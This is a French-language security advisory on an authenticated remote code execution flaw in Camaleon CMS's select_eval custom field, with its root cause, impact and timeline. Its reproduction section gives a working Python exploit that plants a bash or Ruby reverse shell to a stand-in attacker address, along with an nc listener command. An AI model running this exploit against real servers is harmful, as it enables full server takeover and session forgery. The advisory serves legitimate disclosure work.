
CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field — Mis à jour !
Avis de sécurité : Camaleon CMS - RCE authentifié via le champ personnalisé `select_eval`
Avis de sécurité : Camaleon CMS - RCE authentifiée via le champ personnalisé select_eval
ID CVE attribué : CVE-2026-66748
Produit : Camaleon CMS (https://github.com/owen2345/camaleon-cms)
Versions affectées : 2.1.1 – 2.9.1 (introduit par le commit 415cbda6 2015-10-16 ; corrigé par le commit 15882366 2026-03-29 / v2.9.2)
Sévérité : Élevée
Score CVSS 4.0 : 8.7
Vecteur CVSS 4.0 : CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
CWE : CWE-94 (Injection de code)
Chercheur : Theodosis Paidakis
Éditeur notifié : 2026-06-21
Avis associé : GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 (label_eval - type de champ parallèle, même cause racine, aucun CVE attribué)
Résumé
Le type de champ personnalisé select_eval stocke une expression Ruby arbitraire dans field.options[:command] et l'exécute via instance_eval dans une vue ERB chaque fois qu'une page d'édition de publication est rendue. Avant la v2.9.2, tout utilisateur disposant de la permission de gestion custom_fields - couramment accordée aux comptes de rôle éditeur - pouvait créer ce type de champ et obtenir une RCE côté serveur. Un champ select_eval se déclenche à chaque rendu de page de toute publication utilisant le groupe de champs ; sa sortie devient la liste des options de la liste déroulante. La vulnérabilité a été corrigée dans la v2.9.2.
Composant affecté
Fichier : app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb
<%= select_tag "#{field_name}[#{field.slug}][values][]",
instance_eval(field.options[:command].to_s.strip),
class: "..." %>
instance_eval est appelé avec la chaîne brute issue de l'enregistrement en base de données. Aucun bac à sable et aucune restriction à la compilation sur les méthodes ou constantes accessibles depuis le binding ERB (qui est un contexte de vue Rails complet).
Fichier : app/models/camaleon_cms/ability.rb (v2.9.1, lignes 161-165)
custom_fields n'est jamais accordé explicitement. Huit ressources obtiennent can :manage individuellement plus haut dans le fichier (media, comments, themes, widgets, nav_menu, plugins, users, settings), et custom_fields n'en fait pas partie. Il n'est accessible que via ce fourre-tout, qui accorde manage à toute clé présente dans le hash @roles_manager du rôle sans vérifier si cette clé est sûre à accorder :
@roles_manager.try(:each) do |rol_manage_key, val_role|
can :manage, rol_manage_key.to_sym if val_role.to_s.cama_true?
rescue StandardError
false
end
Tout utilisateur dont le rôle a le bit custom_fields activé atteint donc le contrôleur des champs personnalisés. Dans la plage affectée, ce bit est régulièrement accordé aux rôles de niveau éditeur.
La réécriture de la v2.9.2 remplace can par un wrapper safe_can et ajoute une liste explicite %i[...] contenant à la fois custom_fields et select_eval, mais la boucle fourre-tout ci-dessus existe toujours dans cette version. Ce n'est pas la liste de permissions qui corrige ce problème ; ce sont l'allowlist de strong parameters dans custom_fields_controller.rb et le contrôle can?(:manage, :select_eval) dans custom_field_group.rb.
Analyse de la cause racine
Le type de champ select_eval a été conçu pour permettre aux développeurs de remplir dynamiquement des listes déroulantes à partir de code Ruby stocké dans la base de données du CMS. Exécuter du Ruby arbitraire depuis une colonne de base de données via instance_eval équivaut à accorder un accès shell à quiconque peut écrire cette valeur. La permission requise était custom_fields - une permission de gestion de contenu ordinaire - plutôt qu'un bit privilégié explicite.
Relation avec les avis antérieurs
Cette découverte a été publiée sous GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9, couvrant un type de champ parallèle label_eval dans Camaleon CMS. Cet avis faisait partie d'un lot de cinq découvertes (GHSL-2024-182 à GHSL-2024-186) ; seules deux des cinq ont reçu des numéros CVE (CVE-2024-46986 et CVE-2024-46987). GHSL-2024-185 lui-même n'a aucun CVE attribué.
select_eval et label_eval partagent la même cause racine - du Ruby arbitraire stocké en base de données exécuté via instance_eval dans une vue ERB - mais diffèrent sur tous les autres aspects :
label_eval (GHSL-2024-185) | select_eval (ce rapport) | |
|---|---|---|
| Site d'exécution | Libellé de champ dans tout formulaire | select_tag dans la page d'édition de publication |
| Chemin d'écriture | Texte du libellé du champ personnalisé | Ligne méta field.options[:command] |
Ce rapport couvre exclusivement select_eval. Aucun CVE existant ni avis public ne documente ce type de champ spécifique et son chemin d'exploitation.
Étapes de reproduction
La plage affectée v2.1.1 à v2.9.1 a été déterminée par analyse du code source ; l'exploitation a été confirmée de bout en bout sur la v2.9.1. Nécessite uniquement un compte disposant de la permission custom_fields - aucun accès serveur.
Prérequis : Tout compte avec le bit de gestion custom_fields activé - une permission standard de rôle éditeur dans la plage affectée.
Étape 1. Démarrer un listener :
nc -lnvp 4444
Étape 2. Exécuter le script. Modifier BASE, ATTACKER_IP, TYPE_ID, POST_ID et les identifiants.
TYPE_ID - ID du type de publication visible dans l'URL de la barre latérale d'administration (par ex. /admin/post_type/2/posts).
POST_ID - tout ID de publication sous ce type, à partir des liens d'édition de la liste des publications.
import requests, re, time
BASE = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT = 4444
TYPE_ID = 2 # post type ID - from admin sidebar URL
POST_ID = 1 # any post under that type - from post list edit links
USERNAME = "editor" # any account with custom_fields manage permission
PASSWORD = "Editor1234!"
# Reverse shell. Thread.new keeps the page render from hanging.
# Payload strings must use double quotes so #{ } interpolation executes inside instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# No-bash alternative (pure Ruby sockets, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}'
# Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'
s = requests.Session()
r = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
"authenticity_token": csrf,
"user[username]": USERNAME,
"user[password]": PASSWORD,
})
r = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)
idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
"authenticity_token": csrf,
"custom_field_group[name]": f"exploit_{idx}",
"custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}", # must be PostType_Post, not PostType
f"fields[{idx}][name]": "Shell",
f"fields[{idx}][slug]": f"rce_{idx}",
f"field_options[{idx}][field_key]": "select_eval",
f"field_options[{idx}][command]": PAYLOAD, # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)
gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")
# Trigger: instance_eval fires when the edit form renders the select_eval field
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")
Impact
Tout compte disposant de la permission custom_fields (avant la v2.9.2) obtient :
- Exécution de Ruby arbitraire dans le processus Rails, avec les privilèges de l'utilisateur du serveur web (
deploy,www-data,rails, etc.) - Exécution persistante : la charge utile se déclenche à chaque rendu de page de chaque publication utilisant le groupe de champs - ce n'est pas une exploitation ponctuelle
- Falsification de session : la lecture de
secret_key_basedepuisconfig/secrets.ymlpermet de falsifier des cookies de session arbitraires pour n'importe quel utilisateur, y compris les administrateurs - Impact multi-sites : sur une instance Camaleon partagée, le processus Rails a accès aux données de tous les sites
Avant la v2.9.2, la permission custom_fields était régulièrement accordée aux utilisateurs de rôle éditeur. Un attaquant qui compromet n'importe quel compte de niveau éditeur obtient une RCE complète côté serveur.
Chronologie
2026-06-19 - Découverte lors de l'analyse du code source de la v2.9.2 et de la v2.9.1 2026-06-21 - Éditeur notifié 2026-03-29 - Correctif déjà publié (v2.9.2, commit 15882366)